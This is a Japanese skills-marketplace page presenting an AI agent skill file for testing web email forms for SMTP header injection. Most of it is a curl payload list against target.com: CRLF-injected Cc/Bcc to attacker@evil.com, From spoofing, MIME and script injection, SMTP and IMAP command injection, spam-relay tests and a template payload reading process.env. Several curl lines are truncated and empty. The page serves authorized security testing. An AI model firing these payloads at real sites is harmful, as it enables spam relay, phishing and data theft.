メニュー
Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay.
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/nexuslinkproductions/yuri-os --skill cyber-testing-for-email-header-injectionコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
SKILL.md を表示中
SOC 職業分類に基づく
| name | cyber-testing-for-email-header-injection |
| description | Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay. |
| source | mukul975/Anthropic-Cybersecurity-Skills |
| license | Apache-2.0 |
| authorized_lab | false |
| origin_frontmatter | name: testing-for-email-header-injection | description: Test web application email functionality for SMTP header injection vulnerabilities | that allow attackers to inject additional email headers, modify recipients, and | abuse contact forms for spam relay. | domain: cybersecurity | subdomain: web-application-security | tags: | - email-injection | - smtp-injection | - crlf-injection | - header-injection | - spam-relay | - contact-form | - email-security | version: '1.0' | author: mahipal | |
| hide | true |
Defensive/analysis cyber skill. Source: mukul975/Anthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.
# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields
# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms
# Test basic functionality first
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello&message=Test message"
# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"
# Inject BCC header
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"
curl -X POST http://target.com/contact \
-d
curl -X POST http://target.com/contact \
-d
curl -X POST http://target.com/contact \
-d
curl -X POST http://target.com/contact \
-d
curl -X POST http://target.com/contact \
-d
curl -X POST http://target.com/contact \
-d
# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"
# Inject additional MIME parts
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"
# Override From header for email spoofing
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AFrom:ceo@target.com"
# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AReply-To:attacker@evil.com"
# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
-d "query=test%0AEXAMINE INBOX"
# SMTP command injection
curl -X POST http://target.com/api/send \
-d "to=test@test.com%0ARCPT TO:attacker@evil.com"
# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
-d "email=test@test.com%0AVRFY admin"
# Test SMTP relay abuse
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"
# JSON API header injection
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'
# Array injection for multiple recipients
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'
# Template injection in email body
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'
# Check if injected CC/BCC emails were received
# Monitor attacker@evil.com inbox for received copies
# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers
# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC
# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)
| Concept | Description |
|---|---|
| CRLF Injection | Injecting carriage return and line feed characters to create new email headers |
| Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails |
| Spam Relay | Abusing email functionality to send spam to arbitrary recipients |
| Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders |
| MIME Manipulation | Injecting MIME boundaries to override email body content |
| SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters |
| Newline Characters | \r\n (CRLF), \n (LF), \r (CR) used to separate email headers |
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy for modifying email-related form submissions |
| swaks | Swiss Army Knife for SMTP testing and header injection validation |
| OWASP ZAP | Automated scanner with email injection detection |
| mailhog | Local SMTP testing server for capturing injected emails |
| smtp4dev | Development SMTP server for monitoring email injection results |
| Nuclei | Template scanner with email header injection detection templates |
## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)
### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |
| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |
### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality